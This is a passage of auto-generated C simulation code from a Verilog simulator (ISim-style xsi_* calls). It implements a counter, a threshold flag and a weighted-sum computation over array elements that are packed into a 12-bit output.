static int ng8[] = {1, 0};
static int ng9[] = {3, 0};
static int ng10[] = {4, 0};
static int ng11[] = {5, 0};
static int ng12[] = {6, 0};
static int ng13[] = {7, 0};
static int ng14[] = {8, 0};
static void Initial_23_0(char *t0)
{
char *t1;
char *t2;
LAB0: xsi_set_current_line(23, ng0);
LAB2: xsi_set_current_line(24, ng0);
t1 = ((char*)((ng1)));
t2 = (t0 + 3024);
xsi_vlogvar_assign_value(t2, t1, 0, 0, 12);
LAB1: return;
}
static void Cont_42_1(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 4352U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(42, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7512);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 32, 35);
LAB1: return;
}
static void Cont_43_2(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 4600U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(43, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7576);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 28, 31);
LAB1: return;
}
static void Cont_44_3(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 4848U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(44, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7640);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 24, 27);
LAB1: return;
}
static void Cont_45_4(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 5096U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(45, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7704);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 20, 23);
LAB1: return;
}
static void Cont_46_5(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 5344U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(46, ng0);
t2 = ((char*)((ng3)));
t3 = (t0 + 7768);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 16, 19);
LAB1: return;
}
static void Cont_47_6(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 5592U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(47, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7832);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 12, 15);
LAB1: return;
}
static void Cont_48_7(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 5840U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(48, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7896);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 8, 11);
LAB1: return;
}
static void Cont_49_8(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 6088U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(49, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 7960);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 4, 7);
LAB1: return;
}
static void Cont_50_9(char *t0)
{
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
char *t10;
unsigned int t11;
unsigned int t12;
char *t13;
unsigned int t14;
unsigned int t15;
LAB0: t1 = (t0 + 6336U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(50, ng0);
t2 = ((char*)((ng2)));
t3 = (t0 + 8024);
t4 = (t3 + 56U);
t5 = *((char **)t4);
t6 = (t5 + 56U);
t7 = *((char **)t6);
memset(t7, 0, 8);
t8 = 15U;
t9 = t8;
t10 = (t2 + 4);
t11 = *((unsigned int *)t2);
t8 = (t8 & t11);
t12 = *((unsigned int *)t10);
t9 = (t9 & t12);
t13 = (t7 + 4);
t14 = *((unsigned int *)t7);
*((unsigned int *)t7) = (t14 | t8);
t15 = *((unsigned int *)t13);
*((unsigned int *)t13) = (t15 | t9);
xsi_driver_vfirst_trans(t3, 0, 3);
LAB1: return;
}
static void Always_67_10(char *t0)
{
char t8[8];
char t22[8];
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
char *t9;
char *t10;
char *t11;
char *t12;
unsigned int t13;
unsigned int t14;
unsigned int t15;
unsigned int t16;
unsigned int t17;
char *t18;
char *t19;
char *t20;
char *t21;
char *t23;
LAB0: t1 = (t0 + 6584U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(67, ng0);
t2 = (t0 + 7400);
*((int *)t2) = 1;
t3 = (t0 + 6616);
*((char **)t3) = t2;
*((char **)t1) = &&LAB4;
LAB1: return;
LAB4: xsi_set_current_line(67, ng0);
LAB5: xsi_set_current_line(68, ng0);
t4 = (t0 + 3024);
t5 = (t4 + 56U);
t6 = *((char **)t5);
t7 = ((char*)((ng4)));
memset(t8, 0, 8);
t9 = (t6 + 4);
if (*((unsigned int *)t9) != 0)
goto LAB7;
LAB6: t10 = (t7 + 4);
if (*((unsigned int *)t10) != 0)
goto LAB7;
LAB10: if (*((unsigned int *)t6) < *((unsigned int *)t7))
goto LAB8;
LAB9: t12 = (t8 + 4);
t13 = *((unsigned int *)t12);
t14 = (~(t13));
t15 = *((unsigned int *)t8);
t16 = (t15 & t14);
t17 = (t16 != 0);
if (t17 > 0)
goto LAB11;
LAB12: xsi_set_current_line(71, ng0);
LAB15: xsi_set_current_line(72, ng0);
t2 = (t0 + 3024);
t3 = (t2 + 56U);
t4 = *((char **)t3);
t5 = (t0 + 3024);
xsi_vlogvar_wait_assign_value(t5, t4, 0, 0, 12, 0LL);
LAB13: goto LAB2;
LAB7: t11 = (t8 + 4);
*((unsigned int *)t8) = 1;
*((unsigned int *)t11) = 1;
goto LAB9;
LAB8: *((unsigned int *)t8) = 1;
goto LAB9;
LAB11: xsi_set_current_line(68, ng0);
LAB14: xsi_set_current_line(69, ng0);
t18 = (t0 + 3024);
t19 = (t18 + 56U);
t20 = *((char **)t19);
t21 = ((char*)((ng5)));
memset(t22, 0, 8);
xsi_vlog_unsigned_add(t22, 12, t20, 12, t21, 12);
t23 = (t0 + 3024);
xsi_vlogvar_wait_assign_value(t23, t22, 0, 0, 12, 0LL);
goto LAB13;
}
static void Always_76_11(char *t0)
{
char t8[8];
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
char *t9;
char *t10;
unsigned int t11;
unsigned int t12;
unsigned int t13;
unsigned int t14;
unsigned int t15;
unsigned int t16;
unsigned int t17;
unsigned int t18;
unsigned int t19;
unsigned int t20;
unsigned int t21;
unsigned int t22;
char *t23;
char *t24;
unsigned int t25;
unsigned int t26;
unsigned int t27;
unsigned int t28;
unsigned int t29;
char *t30;
char *t31;
LAB0: t1 = (t0 + 6832U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(76, ng0);
t2 = (t0 + 7416);
*((int *)t2) = 1;
t3 = (t0 + 6864);
*((char **)t3) = t2;
*((char **)t1) = &&LAB4;
LAB1: return;
LAB4: xsi_set_current_line(76, ng0);
LAB5: xsi_set_current_line(77, ng0);
t4 = (t0 + 3024);
t5 = (t4 + 56U);
t6 = *((char **)t5);
t7 = ((char*)((ng4)));
memset(t8, 0, 8);
t9 = (t6 + 4);
t10 = (t7 + 4);
t11 = *((unsigned int *)t6);
t12 = *((unsigned int *)t7);
t13 = (t11 ^ t12);
t14 = *((unsigned int *)t9);
t15 = *((unsigned int *)t10);
t16 = (t14 ^ t15);
t17 = (t13 | t16);
t18 = *((unsigned int *)t9);
t19 = *((unsigned int *)t10);
t20 = (t18 | t19);
t21 = (~(t20));
t22 = (t17 & t21);
if (t22 != 0)
goto LAB9;
LAB6: if (t20 != 0)
goto LAB8;
LAB7: *((unsigned int *)t8) = 1;
LAB9: t24 = (t8 + 4);
t25 = *((unsigned int *)t24);
t26 = (~(t25));
t27 = *((unsigned int *)t8);
t28 = (t27 & t26);
t29 = (t28 != 0);
if (t29 > 0)
goto LAB10;
LAB11: xsi_set_current_line(80, ng0);
LAB14: xsi_set_current_line(81, ng0);
t2 = ((char*)((ng1)));
t3 = (t0 + 3184);
xsi_vlogvar_wait_assign_value(t3, t2, 0, 0, 1, 0LL);
LAB12: goto LAB2;
LAB8: t23 = (t8 + 4);
*((unsigned int *)t8) = 1;
*((unsigned int *)t23) = 1;
goto LAB9;
LAB10: xsi_set_current_line(77, ng0);
LAB13: xsi_set_current_line(78, ng0);
t30 = ((char*)((ng5)));
t31 = (t0 + 3184);
xsi_vlogvar_wait_assign_value(t31, t30, 0, 0, 1, 0LL);
goto LAB12;
}
static void Always_86_12(char *t0)
{
char t13[8];
char t14[8];
char t17[8];
char t24[8];
char t34[8];
char t37[8];
char t45[8];
char t46[8];
char t47[8];
char t50[8];
char t57[8];
char t67[8];
char t70[8];
char t78[8];
char t79[8];
char t80[8];
char t81[8];
char t84[8];
char t91[8];
char t103[8];
char t111[8];
char t112[8];
char t113[8];
char t114[8];
char t117[8];
char t124[8];
char t136[8];
char t144[8];
char t145[8];
char t146[8];
char t147[8];
char t150[8];
char t157[8];
char t169[8];
char t177[8];
char t178[8];
char t179[8];
char t180[8];
char t183[8];
char t190[8];
char t202[8];
char t210[8];
char t211[8];
char t212[8];
char t213[8];
char t216[8];
char t223[8];
char t235[8];
char t243[8];
char t244[8];
char t245[8];
char t246[8];
char t249[8];
char t256[8];
char t268[8];
char t276[8];
char t277[8];
char t278[8];
char t279[8];
char t282[8];
char t289[8];
char t301[8];
char t309[8];
char t310[8];
char *t1;
char *t2;
char *t3;
char *t4;
char *t5;
char *t6;
char *t7;
unsigned int t8;
unsigned int t9;
unsigned int t10;
unsigned int t11;
unsigned int t12;
char *t15;
char *t16;
char *t18;
char *t19;
char *t20;
char *t21;
char *t22;
char *t23;
char *t25;
char *t26;
unsigned int t27;
unsigned int t28;
unsigned int t29;
unsigned int t30;
unsigned int t31;
unsigned int t32;
char *t33;
char *t35;
char *t36;
char *t38;
char *t39;
char *t40;
char *t41;
char *t42;
char *t43;
char *t44;
char *t48;
char *t49;
char *t51;
char *t52;
char *t53;
char *t54;
char *t55;
char *t56;
char *t58;
char *t59;
unsigned int t60;
unsigned int t61;
unsigned int t62;
unsigned int t63;
unsigned int t64;
unsigned int t65;
char *t66;
char *t68;
char *t69;
char *t71;
char *t72;
char *t73;
char *t74;
char *t75;
char *t76;
char *t77;
char *t82;
char *t83;
char *t85;
char *t86;
char *t87;
char *t88;
char *t89;
char *t90;
char *t92;
char *t93;
unsigned int t94;
unsigned int t95;
unsigned int t96;
unsigned int t97;
unsigned int t98;
unsigned int t99;
char *t100;
char *t101;
char *t102;
char *t104;
char *t105;
char *t106;
char *t107;
char *t108;
char *t109;
char *t110;
char *t115;
char *t116;
char *t118;
char *t119;
char *t120;
char *t121;
char *t122;
char *t123;
char *t125;
char *t126;
unsigned int t127;
unsigned int t128;
unsigned int t129;
unsigned int t130;
unsigned int t131;
unsigned int t132;
char *t133;
char *t134;
char *t135;
char *t137;
char *t138;
char *t139;
char *t140;
char *t141;
char *t142;
char *t143;
char *t148;
char *t149;
char *t151;
char *t152;
char *t153;
char *t154;
char *t155;
char *t156;
char *t158;
char *t159;
unsigned int t160;
unsigned int t161;
unsigned int t162;
unsigned int t163;
unsigned int t164;
unsigned int t165;
char *t166;
char *t167;
char *t168;
char *t170;
char *t171;
char *t172;
char *t173;
char *t174;
char *t175;
char *t176;
char *t181;
char *t182;
char *t184;
char *t185;
char *t186;
char *t187;
char *t188;
char *t189;
char *t191;
char *t192;
unsigned int t193;
unsigned int t194;
unsigned int t195;
unsigned int t196;
unsigned int t197;
unsigned int t198;
char *t199;
char *t200;
char *t201;
char *t203;
char *t204;
char *t205;
char *t206;
char *t207;
char *t208;
char *t209;
char *t214;
char *t215;
char *t217;
char *t218;
char *t219;
char *t220;
char *t221;
char *t222;
char *t224;
char *t225;
unsigned int t226;
unsigned int t227;
unsigned int t228;
unsigned int t229;
unsigned int t230;
unsigned int t231;
char *t232;
char *t233;
char *t234;
char *t236;
char *t237;
char *t238;
char *t239;
char *t240;
char *t241;
char *t242;
char *t247;
char *t248;
char *t250;
char *t251;
char *t252;
char *t253;
char *t254;
char *t255;
char *t257;
char *t258;
unsigned int t259;
unsigned int t260;
unsigned int t261;
unsigned int t262;
unsigned int t263;
unsigned int t264;
char *t265;
char *t266;
char *t267;
char *t269;
char *t270;
char *t271;
char *t272;
char *t273;
char *t274;
char *t275;
char *t280;
char *t281;
char *t283;
char *t284;
char *t285;
char *t286;
char *t287;
char *t288;
char *t290;
char *t291;
unsigned int t292;
unsigned int t293;
unsigned int t294;
unsigned int t295;
unsigned int t296;
unsigned int t297;
char *t298;
char *t299;
char *t300;
char *t302;
char *t303;
char *t304;
char *t305;
char *t306;
char *t307;
char *t308;
char *t311;
LAB0: t1 = (t0 + 7080U);
t2 = *((char **)t1);
if (t2 == 0)
goto LAB2;
LAB3: goto *t2;
LAB2: xsi_set_current_line(86, ng0);
t2 = (t0 + 7432);
*((int *)t2) = 1;
t3 = (t0 + 7112);
*((char **)t3) = t2;
*((char **)t1) = &&LAB4;
LAB1: return;
LAB4: xsi_set_current_line(86, ng0);
LAB5: xsi_set_current_line(87, ng0);
t4 = (t0 + 3184);
t5 = (t4 + 56U);
t6 = *((char **)t5);
t7 = (t6 + 4);
t8 = *((unsigned int *)t7);
t9 = (~(t8));
t10 = *((unsigned int *)t6);
t11 = (t10 & t9);
t12 = (t11 != 0);
if (t12 > 0)
goto LAB6;
LAB7: xsi_set_current_line(100, ng0);
LAB10: xsi_set_current_line(101, ng0);
t2 = ((char*)((ng1)));
t3 = (t0 + 2544);
xsi_vlogvar_assign_value(t3, t2, 0, 0, 10);
xsi_set_current_line(102, ng0);
t2 = ((char*)((ng1)));
t3 = (t0 + 2864);
xsi_vlogvar_assign_value(t3, t2, 0, 0, 10);
xsi_set_current_line(103, ng0);
t2 = ((char*)((ng1)));
t3 = (t0 + 2704);
xsi_vlogvar_assign_value(t3, t2, 0, 0, 10);
LAB8: xsi_set_current_line(105, ng0);
t2 = (t0 + 2704);
t3 = (t2 + 56U);
t4 = *((char **)t3);
t5 = ((char*)((ng12)));
memset(t14, 0, 8);
xsi_vlog_unsigned_rshift(t14, 10, t4, 10, t5, 32);
t6 = (t0 + 2864);
t7 = (t6 + 56U);
t15 = *((char **)t7);
t16 = ((char*)((ng12)));
memset(t17, 0, 8);
xsi_vlog_unsigned_rshift(t17, 10, t15, 10, t16, 32);
t18 = (t0 + 2544);
t19 = (t18 + 56U);
t20 = *((char **)t19);
t21 = ((char*)((ng12)));
memset(t24, 0, 8);
xsi_vlog_unsigned_rshift(t24, 10, t20, 10, t21, 32);
xsi_vlogtype_concat(t13, 30, 30, 3U, t24, 10, t17, 10, t14, 10);
t22 = (t0 + 2384);
xsi_vlogvar_assign_value(t22, t13, 0, 0, 12);
goto LAB2;
LAB6: xsi_set_current_line(87, ng0);
LAB9: xsi_set_current_line(88, ng0);
t15 = (t0 + 1824U);
t16 = *((char **)t15);
t15 = (t0 + 1784U);
t18 = (t15 + 72U);
t19 = *((char **)t18);
t20 = (t0 + 1784U);
t21 = (t20 + 48U);
t22 = *((char **)t21);
t23 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t17, 12, t16, t19, t22, 2, 1, t23, 32, 1);
memset(t24, 0, 8);
t25 = (t24 + 4);
t26 = (t17 + 4);
t27 = *((unsigned int *)t17);
t28 = (t27 >> 8);
*((unsigned int *)t24) = t28;
t29 = *((unsigned int *)t26);
t30 = (t29 >> 8);
*((unsigned int *)t25) = t30;
t31 = *((unsigned int *)t24);
*((unsigned int *)t24) = (t31 & 15U);
t32 = *((unsigned int *)t25);
*((unsigned int *)t25) = (t32 & 15U);
t33 = ((char*)((ng1)));
xsi_vlogtype_concat(t14, 5, 5, 2U, t33, 1, t24, 4);
xsi_vlogtype_zero_extend(t13, 10, t14, 5);
t35 = (t0 + 1664U);
t36 = *((char **)t35);
t35 = (t0 + 1624U);
t38 = (t35 + 72U);
t39 = *((char **)t38);
t40 = (t0 + 1624U);
t41 = (t40 + 48U);
t42 = *((char **)t41);
t43 = ((char*)((ng7)));
t44 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t37, 4, t36, t39, t42, 2, 2, t43, 32, 1, t44, 32, 1);
xsi_vlogtype_zero_extend(t34, 10, t37, 4);
memset(t45, 0, 8);
xsi_vlog_unsigned_multiply(t45, 10, t13, 10, t34, 10);
t48 = (t0 + 1824U);
t49 = *((char **)t48);
t48 = (t0 + 1784U);
t51 = (t48 + 72U);
t52 = *((char **)t51);
t53 = (t0 + 1784U);
t54 = (t53 + 48U);
t55 = *((char **)t54);
t56 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t50, 12, t49, t52, t55, 2, 1, t56, 32, 1);
memset(t57, 0, 8);
t58 = (t57 + 4);
t59 = (t50 + 4);
t60 = *((unsigned int *)t50);
t61 = (t60 >> 8);
*((unsigned int *)t57) = t61;
t62 = *((unsigned int *)t59);
t63 = (t62 >> 8);
*((unsigned int *)t58) = t63;
t64 = *((unsigned int *)t57);
*((unsigned int *)t57) = (t64 & 15U);
t65 = *((unsigned int *)t58);
*((unsigned int *)t58) = (t65 & 15U);
t66 = ((char*)((ng1)));
xsi_vlogtype_concat(t47, 5, 5, 2U, t66, 1, t57, 4);
xsi_vlogtype_zero_extend(t46, 10, t47, 5);
t68 = (t0 + 1664U);
t69 = *((char **)t68);
t68 = (t0 + 1624U);
t71 = (t68 + 72U);
t72 = *((char **)t71);
t73 = (t0 + 1624U);
t74 = (t73 + 48U);
t75 = *((char **)t74);
t76 = ((char*)((ng7)));
t77 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t70, 4, t69, t72, t75, 2, 2, t76, 32, 1, t77, 32, 1);
xsi_vlogtype_zero_extend(t67, 10, t70, 4);
memset(t78, 0, 8);
xsi_vlog_unsigned_multiply(t78, 10, t46, 10, t67, 10);
memset(t79, 0, 8);
xsi_vlog_unsigned_add(t79, 10, t45, 10, t78, 10);
t82 = (t0 + 1824U);
t83 = *((char **)t82);
t82 = (t0 + 1784U);
t85 = (t82 + 72U);
t86 = *((char **)t85);
t87 = (t0 + 1784U);
t88 = (t87 + 48U);
t89 = *((char **)t88);
t90 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t84, 12, t83, t86, t89, 2, 1, t90, 32, 1);
memset(t91, 0, 8);
t92 = (t91 + 4);
t93 = (t84 + 4);
t94 = *((unsigned int *)t84);
t95 = (t94 >> 8);
*((unsigned int *)t91) = t95;
t96 = *((unsigned int *)t93);
t97 = (t96 >> 8);
*((unsigned int *)t92) = t97;
t98 = *((unsigned int *)t91);
*((unsigned int *)t91) = (t98 & 15U);
t99 = *((unsigned int *)t92);
*((unsigned int *)t92) = (t99 & 15U);
t100 = ((char*)((ng1)));
xsi_vlogtype_concat(t81, 5, 5, 2U, t100, 1, t91, 4);
xsi_vlogtype_zero_extend(t80, 10, t81, 5);
t101 = (t0 + 1664U);
t102 = *((char **)t101);
t101 = (t0 + 1624U);
t104 = (t101 + 72U);
t105 = *((char **)t104);
t106 = (t0 + 1624U);
t107 = (t106 + 48U);
t108 = *((char **)t107);
t109 = ((char*)((ng7)));
t110 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t103, 10, t102, t105, t108, 2, 2, t109, 32, 1, t110, 32, 1);
memset(t111, 0, 8);
xsi_vlog_unsigned_multiply(t111, 10, t80, 10, t103, 10);
memset(t112, 0, 8);
xsi_vlog_unsigned_add(t112, 10, t79, 10, t111, 10);
t115 = (t0 + 1824U);
t116 = *((char **)t115);
t115 = (t0 + 1784U);
t118 = (t115 + 72U);
t119 = *((char **)t118);
t120 = (t0 + 1784U);
t121 = (t120 + 48U);
t122 = *((char **)t121);
t123 = ((char*)((ng9)));
xsi_vlog_generic_get_array_select_value(t117, 12, t116, t119, t122, 2, 1, t123, 32, 1);
memset(t124, 0, 8);
t125 = (t124 + 4);
t126 = (t117 + 4);
t127 = *((unsigned int *)t117);
t128 = (t127 >> 8);
*((unsigned int *)t124) = t128;
t129 = *((unsigned int *)t126);
t130 = (t129 >> 8);
*((unsigned int *)t125) = t130;
t131 = *((unsigned int *)t124);
*((unsigned int *)t124) = (t131 & 15U);
t132 = *((unsigned int *)t125);
*((unsigned int *)t125) = (t132 & 15U);
t133 = ((char*)((ng1)));
xsi_vlogtype_concat(t114, 5, 5, 2U, t133, 1, t124, 4);
xsi_vlogtype_zero_extend(t113, 10, t114, 5);
t134 = (t0 + 1664U);
t135 = *((char **)t134);
t134 = (t0 + 1624U);
t137 = (t134 + 72U);
t138 = *((char **)t137);
t139 = (t0 + 1624U);
t140 = (t139 + 48U);
t141 = *((char **)t140);
t142 = ((char*)((ng8)));
t143 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t136, 10, t135, t138, t141, 2, 2, t142, 32, 1, t143, 32, 1);
memset(t144, 0, 8);
xsi_vlog_unsigned_multiply(t144, 10, t113, 10, t136, 10);
memset(t145, 0, 8);
xsi_vlog_unsigned_add(t145, 10, t112, 10, t144, 10);
t148 = (t0 + 1824U);
t149 = *((char **)t148);
t148 = (t0 + 1784U);
t151 = (t148 + 72U);
t152 = *((char **)t151);
t153 = (t0 + 1784U);
t154 = (t153 + 48U);
t155 = *((char **)t154);
t156 = ((char*)((ng10)));
xsi_vlog_generic_get_array_select_value(t150, 12, t149, t152, t155, 2, 1, t156, 32, 1);
memset(t157, 0, 8);
t158 = (t157 + 4);
t159 = (t150 + 4);
t160 = *((unsigned int *)t150);
t161 = (t160 >> 8);
*((unsigned int *)t157) = t161;
t162 = *((unsigned int *)t159);
t163 = (t162 >> 8);
*((unsigned int *)t158) = t163;
t164 = *((unsigned int *)t157);
*((unsigned int *)t157) = (t164 & 15U);
t165 = *((unsigned int *)t158);
*((unsigned int *)t158) = (t165 & 15U);
t166 = ((char*)((ng1)));
xsi_vlogtype_concat(t147, 5, 5, 2U, t166, 1, t157, 4);
xsi_vlogtype_zero_extend(t146, 10, t147, 5);
t167 = (t0 + 1664U);
t168 = *((char **)t167);
t167 = (t0 + 1624U);
t170 = (t167 + 72U);
t171 = *((char **)t170);
t172 = (t0 + 1624U);
t173 = (t172 + 48U);
t174 = *((char **)t173);
t175 = ((char*)((ng8)));
t176 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t169, 10, t168, t171, t174, 2, 2, t175, 32, 1, t176, 32, 1);
memset(t177, 0, 8);
xsi_vlog_unsigned_multiply(t177, 10, t146, 10, t169, 10);
memset(t178, 0, 8);
xsi_vlog_unsigned_add(t178, 10, t145, 10, t177, 10);
t181 = (t0 + 1824U);
t182 = *((char **)t181);
t181 = (t0 + 1784U);
t184 = (t181 + 72U);
t185 = *((char **)t184);
t186 = (t0 + 1784U);
t187 = (t186 + 48U);
t188 = *((char **)t187);
t189 = ((char*)((ng11)));
xsi_vlog_generic_get_array_select_value(t183, 12, t182, t185, t188, 2, 1, t189, 32, 1);
memset(t190, 0, 8);
t191 = (t190 + 4);
t192 = (t183 + 4);
t193 = *((unsigned int *)t183);
t194 = (t193 >> 8);
*((unsigned int *)t190) = t194;
t195 = *((unsigned int *)t192);
t196 = (t195 >> 8);
*((unsigned int *)t191) = t196;
t197 = *((unsigned int *)t190);
*((unsigned int *)t190) = (t197 & 15U);
t198 = *((unsigned int *)t191);
*((unsigned int *)t191) = (t198 & 15U);
t199 = ((char*)((ng1)));
xsi_vlogtype_concat(t180, 5, 5, 2U, t199, 1, t190, 4);
xsi_vlogtype_zero_extend(t179, 10, t180, 5);
t200 = (t0 + 1664U);
t201 = *((char **)t200);
t200 = (t0 + 1624U);
t203 = (t200 + 72U);
t204 = *((char **)t203);
t205 = (t0 + 1624U);
